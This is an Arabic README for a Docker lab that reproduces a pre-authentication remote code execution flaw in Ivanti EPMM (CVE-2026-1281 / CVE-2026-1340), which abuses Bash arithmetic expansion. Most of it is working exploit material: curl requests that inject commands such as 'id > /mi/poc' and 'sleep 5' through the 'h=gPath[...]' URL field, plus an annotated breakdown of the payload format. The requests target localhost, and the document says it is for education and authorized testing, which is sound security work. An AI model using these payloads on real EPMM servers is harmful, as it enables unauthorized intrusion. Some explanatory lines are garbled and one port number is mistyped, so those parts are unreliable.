
تطبيق تجريبي بسيط يوضح كيفية إعادة إنتاج ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة في Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) لأغراض تعليمية وبحوث أمنية.
تطبيق تجريبي بسيط يوضح كيفية إعادة إنتاج ثغرة Ivanti EPMM RCE قبل المصادقة (CVE-2026-1281 / CVE-2026-1340) لأغراض تعليمية وبحوث أمنية.
تستغل هذه الثغرة سلوك التوسع الحسابي في Bash. عندما يُستخدم متغير يحتوي على مرجع لمتغير آخر في سياق حسابي، وكان المتغير المُشار إليه يحتوي على فهرس مصفوفة مع استبدال أوامر، يتم تنفيذ الأمر.
st=theValue (سلسلة حرفية "theValue" مع حشو)h=gPath[\command`]` (أمر في فهرس مصفوفة)theValue في كل تكرارgStartTime إلى السلسلة الحرفية "theValue"theValue على command`]`gPath[\[[ ${currentTime} -gt ${gStartTime} ]]:
${gStartTime} → "theValue" (سلسلة)theValue كمرجع متغيرtheValue → gPath[\command`]`# بناء وتشغيل الحاوية
docker-compose up --build -d
# التحقق من أنها تعمل
curl http://localhost:8180/health
أنشئ ملفاً لإثبات تنفيذ الأوامر:
# الحمولة المشفرة بعنوان URL: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# تحقق من إنشاء الملف
cat artifacts/poc
تحقق باستخدام أمر نوم:
# يجب أن يستغرق الرد حوالي 5 ثوانٍ
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# كتابة محتوى مخصص
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ الحمولة: gPath[`COMMAND`]
│ │ └─ الطابع الزمني النهائي (أي 10 أرقام)
│ └─ حرج: "theValue" الحرفية + مسافتان (10 أحرف إجمالاً)
└─ فهرس المفتاح (أي قيمة)
# عرض سجلات الحاوية
docker-compose logs -f
# الحصول على قشرة داخل الحاوية
docker exec -it ivanti-epmm-vuln /bin/bash
# التحقق من سجلات أخطاء nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.